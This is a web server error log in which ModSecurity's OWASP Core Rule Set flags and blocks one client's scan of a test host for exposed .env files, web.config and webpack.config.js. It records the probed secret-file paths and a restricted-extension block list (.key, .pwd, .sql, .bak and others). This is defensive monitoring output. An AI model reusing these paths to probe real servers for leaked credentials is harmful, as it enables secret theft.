[Mon Jul 28 20:46:24.036540 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOQAAAAI&quot;]
[Mon Jul 28 20:46:24.036731 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOQAAAAI&quot;]
[Mon Jul 28 20:46:24.056895 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue/vuecli/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOgAAAAI&quot;]
[Mon Jul 28 20:46:24.057110 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOgAAAAI&quot;]
[Mon Jul 28 20:46:24.057326 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOgAAAAI&quot;]
[Mon Jul 28 20:46:24.077411 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue_crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOwAAAAI&quot;]
[Mon Jul 28 20:46:24.077619 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOwAAAAI&quot;]
[Mon Jul 28 20:46:24.077817 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqOwAAAAI&quot;]
[Mon Jul 28 20:46:24.118963 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web-dist/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqPQAAAAI&quot;]
[Mon Jul 28 20:46:24.119160 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqPQAAAAI&quot;]
[Mon Jul 28 20:46:24.119335 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqPQAAAAI&quot;]
[Mon Jul 28 20:46:24.140042 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqPgAAAAI&quot;]
[Mon Jul 28 20:46:24.140182 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqPgAAAAI&quot;]
[Mon Jul 28 20:46:24.140394 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqPgAAAAI&quot;]
[Mon Jul 28 20:46:24.140569 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqPgAAAAI&quot;]
[Mon Jul 28 20:46:24.203275 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/sitemariage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web/siteMariage/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqQQAAAAI&quot;]
[Mon Jul 28 20:46:24.203538 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web/siteMariage/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqQQAAAAI&quot;]
[Mon Jul 28 20:46:24.203725 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web/siteMariage/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqQQAAAAI&quot;]
[Mon Jul 28 20:46:24.246843 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/webpack.config.js&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /webpack.config.js found within REQUEST_FILENAME: /webpack.config.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqQwAAAAI&quot;]
[Mon Jul 28 20:46:24.247068 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqQwAAAAI&quot;]
[Mon Jul 28 20:46:24.247260 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqQwAAAAI&quot;]
[Mon Jul 28 20:46:24.267336 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webroot_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRAAAAAI&quot;]
[Mon Jul 28 20:46:24.267540 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRAAAAAI&quot;]
[Mon Jul 28 20:46:24.267712 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRAAAAAI&quot;]
[Mon Jul 28 20:46:24.288022 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRQAAAAI&quot;]
[Mon Jul 28 20:46:24.288233 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRQAAAAI&quot;]
[Mon Jul 28 20:46:24.288395 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRQAAAAI&quot;]
[Mon Jul 28 20:46:24.309058 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /websocket/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRgAAAAI&quot;]
[Mon Jul 28 20:46:24.309254 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRgAAAAI&quot;]
[Mon Jul 28 20:46:24.309413 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRgAAAAI&quot;]
[Mon Jul 28 20:46:24.329622 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webstatic/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRwAAAAI&quot;]
[Mon Jul 28 20:46:24.329834 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aIfFgDtW59P3rmsxDxVqRwAAAAI&quot;]
